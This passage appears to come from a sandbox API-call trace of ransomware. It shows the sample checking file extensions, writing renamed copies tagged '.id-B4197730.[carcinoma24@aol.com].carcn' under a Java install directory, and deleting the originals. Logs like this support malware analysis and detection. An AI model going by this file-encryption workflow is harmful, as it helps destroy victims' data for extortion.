(lpString=".zip") returned 4 [0260.061] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0260.061] lstrlenW (lpString=".rar") returned 4 [0260.061] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0260.061] lstrlenW (lpString=".bz2") returned 4 [0260.061] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0260.061] lstrlenW (lpString=".7z") returned 3 [0260.061] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0260.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0260.062] lstrlenW (lpString=".dbf") returned 4 [0260.062] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0260.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0260.062] lstrlenW (lpString=".1cd") returned 4 [0260.062] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0260.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0260.062] lstrlenW (lpString=".jpg") returned 4 [0260.062] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0260.062] lstrcmpiW (lpString1=".pf", lpString2=".carcn") returned 1 [0260.062] lstrlenW (lpString="PYCC.pf") returned 7 [0260.062] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0260.533] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=274474) returned 1 [0260.533] CloseHandle (hObject=0x4cc) returned 1 [0260.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20 [0260.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0261.589] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0261.878] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.878] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.878] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0262.111] GetLastError () returned 0x0 [0262.111] ReadFile (in: hFile=0x544, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x4302a, lpOverlapped=0x0) returned 1 [0262.216] WriteFile (in: hFile=0x4b0, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x43030, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x43030, lpOverlapped=0x0) returned 1 [0262.221] ReadFile (in: hFile=0x544, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0262.221] WriteFile (in: hFile=0x4b0, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xe2, lpOverlapped=0x0) returned 1 [0262.221] SetEndOfFile (hFile=0x4b0) returned 1 [0262.222] CloseHandle (hObject=0x4b0) returned 1 [0262.227] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.227] SetEndOfFile (hFile=0x544) returned 1 [0262.233] CloseHandle (hObject=0x544) returned 1 [0262.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0262.234] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 1 [0262.234] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0262.234] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0262.235] lstrlenW (lpString=".doc") returned 4 [0262.235] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0262.235] lstrlenW (lpString=".docx") returned 5 [0262.235] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0262.235] lstrlenW (lpString=".pdf") returned 4 [0262.235] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0262.235] lstrlenW (lpString=".xls") returned 4 [0262.235] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0262.235] lstrlenW (lpString=".xlsx") returned 5 [0262.235] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0262.235] lstrlenW (lpString=".ppt") returned 4 [0262.235] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0262.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0262.235] lstrlenW (lpString=".zip") returned 4 [0262.235] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0262.235] lstrlenW (lpString=".rar") returned 4 [0262.235] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0262.235] lstrlenW (lpString=".bz2") returned 4 [0262.235] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0262.235] lstrlenW (lpString=".7z") returned 3 [0262.235] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0262.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0262.235] lstrlenW (lpString=".dbf") returned 4 [0262.235] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0262.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0262.235] lstrlenW (lpString=".1cd") returned 4 [0262.235] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0262.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0262.235] lstrlenW (lpString=".jpg") returned 4 [0262.235] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0262.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0262.236] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0262.236] lstrlenW (lpString=".doc") returned 4 [0262.236] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0262.236] lstrlenW (lpString=".docx") returned 5 [0262.236] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0262.236] lstrlenW (lpString=".pdf") returned 4 [0262.236] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0262.236] lstrlenW (lpString=".xls") returned 4 [0262.236] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0262.236] lstrlenW (lpString=".xlsx") returned 5 [0262.236] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0262.236] lstrlenW (lpString=".ppt") returned 4 [0262.236] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0262.236] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0262.236] lstrlenW (lpString=".zip") returned 4 [0262.236] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0262.236] lstrlenW (lpString=".rar") returned 4 [0262.236] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0262.236] lstrlenW (lpString=".bz2") returned 4 [0262.236] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0262.236] lstrlenW (lpString=".7z") returned 3 [0262.236] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0262.236] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0262.236] lstrlenW (lpString=".dbf") returned 4 [0262.236] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0262.236] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0262.236] lstrlenW (lpString=".1cd") returned 4 [0262.236] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0262.236] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0262.236] lstrlenW (lpString=".jpg") returned 4 [0262.236] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0262.237] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0262.237] lstrlenW (lpString="messages_es.properties") returned 22 [0262.237] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0262.240] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=3600) returned 1 [0262.240] CloseHandle (hObject=0x544) returned 1 [0262.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20 [0262.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.240] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0262.240] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.241] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.241] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0262.241] GetLastError () returned 0x0 [0262.241] ReadFile (in: hFile=0x544, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0xe10, lpOverlapped=0x0) returned 1 [0262.296] WriteFile (in: hFile=0x4b0, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xe20, lpOverlapped=0x0) returned 1 [0262.298] ReadFile (in: hFile=0x544, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0262.298] WriteFile (in: hFile=0x4b0, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x100, lpOverlapped=0x0) returned 1 [0262.298] SetEndOfFile (hFile=0x4b0) returned 1 [0262.298] CloseHandle (hObject=0x4b0) returned 1 [0262.299] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.299] SetEndOfFile (hFile=0x544) returned 1 [0262.535] CloseHandle (hObject=0x544) returned 1 [0262.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0262.536] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 1 [0262.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0262.542] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0262.542] lstrlenW (lpString=".doc") returned 4 [0262.542] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.542] lstrlenW (lpString=".docx") returned 5 [0262.543] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.543] lstrlenW (lpString=".pdf") returned 4 [0262.543] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.543] lstrlenW (lpString=".xls") returned 4 [0262.543] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.543] lstrlenW (lpString=".xlsx") returned 5 [0262.543] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.543] lstrlenW (lpString=".ppt") returned 4 [0262.543] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0262.543] lstrlenW (lpString=".zip") returned 4 [0262.543] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.543] lstrlenW (lpString=".rar") returned 4 [0262.543] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.543] lstrlenW (lpString=".bz2") returned 4 [0262.543] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.543] lstrlenW (lpString=".7z") returned 3 [0262.543] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0262.543] lstrlenW (lpString=".dbf") returned 4 [0262.543] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0262.543] lstrlenW (lpString=".1cd") returned 4 [0262.543] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.543] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0262.543] lstrlenW (lpString=".jpg") returned 4 [0262.543] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0262.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0262.544] lstrlenW (lpString=".doc") returned 4 [0262.544] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.544] lstrlenW (lpString=".docx") returned 5 [0262.544] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.544] lstrlenW (lpString=".pdf") returned 4 [0262.544] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.544] lstrlenW (lpString=".xls") returned 4 [0262.544] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.544] lstrlenW (lpString=".xlsx") returned 5 [0262.544] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.544] lstrlenW (lpString=".ppt") returned 4 [0262.544] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0262.544] lstrlenW (lpString=".zip") returned 4 [0262.544] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.544] lstrlenW (lpString=".rar") returned 4 [0262.544] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.544] lstrlenW (lpString=".bz2") returned 4 [0262.544] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.544] lstrlenW (lpString=".7z") returned 3 [0262.544] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.544] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0262.544] lstrlenW (lpString=".dbf") returned 4 [0262.544] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0262.545] lstrlenW (lpString=".1cd") returned 4 [0262.545] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.545] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0262.545] lstrlenW (lpString=".jpg") returned 4 [0262.545] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.545] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0262.545] lstrlenW (lpString="messages_ko.properties") returned 22 [0262.545] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0262.691] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=5712) returned 1 [0262.691] CloseHandle (hObject=0x544) returned 1 [0262.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20 [0262.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0262.691] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0262.691] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.691] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.692] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0262.692] GetLastError () returned 0x0 [0262.692] ReadFile (in: hFile=0x544, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x1650, lpOverlapped=0x0) returned 1 [0262.761] WriteFile (in: hFile=0x554, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x1660, lpOverlapped=0x0) returned 1 [0262.762] ReadFile (in: hFile=0x544, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0262.762] WriteFile (in: hFile=0x554, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x100, lpOverlapped=0x0) returned 1 [0262.763] SetEndOfFile (hFile=0x554) returned 1 [0262.763] CloseHandle (hObject=0x554) returned 1 [0262.764] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.764] SetEndOfFile (hFile=0x544) returned 1 [0262.766] CloseHandle (hObject=0x544) returned 1 [0262.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0262.767] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 1 [0262.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0262.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0262.768] lstrlenW (lpString=".doc") returned 4 [0262.768] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.768] lstrlenW (lpString=".docx") returned 5 [0262.768] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.768] lstrlenW (lpString=".pdf") returned 4 [0262.768] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.768] lstrlenW (lpString=".xls") returned 4 [0262.768] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.768] lstrlenW (lpString=".xlsx") returned 5 [0262.768] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.768] lstrlenW (lpString=".ppt") returned 4 [0262.768] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.768] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0262.768] lstrlenW (lpString=".zip") returned 4 [0262.769] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.769] lstrlenW (lpString=".rar") returned 4 [0262.769] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.769] lstrlenW (lpString=".bz2") returned 4 [0262.769] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.769] lstrlenW (lpString=".7z") returned 3 [0262.769] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0262.769] lstrlenW (lpString=".dbf") returned 4 [0262.769] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0262.769] lstrlenW (lpString=".1cd") returned 4 [0262.769] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.769] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0262.769] lstrlenW (lpString=".jpg") returned 4 [0262.770] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0262.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0262.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0262.770] lstrlenW (lpString=".doc") returned 4 [0262.770] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0262.770] lstrlenW (lpString=".docx") returned 5 [0262.770] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0262.770] lstrlenW (lpString=".pdf") returned 4 [0262.770] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0262.770] lstrlenW (lpString=".xls") returned 4 [0262.770] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0262.770] lstrlenW (lpString=".xlsx") returned 5 [0262.770] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0262.770] lstrlenW (lpString=".ppt") returned 4 [0262.770] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0262.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0262.770] lstrlenW (lpString=".zip") returned 4 [0262.770] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0262.770] lstrlenW (lpString=".rar") returned 4 [0262.770] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0262.770] lstrlenW (lpString=".bz2") returned 4 [0262.770] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0262.770] lstrlenW (lpString=".7z") returned 3 [0262.770] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0262.770] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0262.770] lstrlenW (lpString=".dbf") returned 4 [0262.771] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0262.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0262.771] lstrlenW (lpString=".1cd") returned 4 [0262.771] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0262.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68 [0262.771] lstrlenW (lpString=".jpg") returned 4 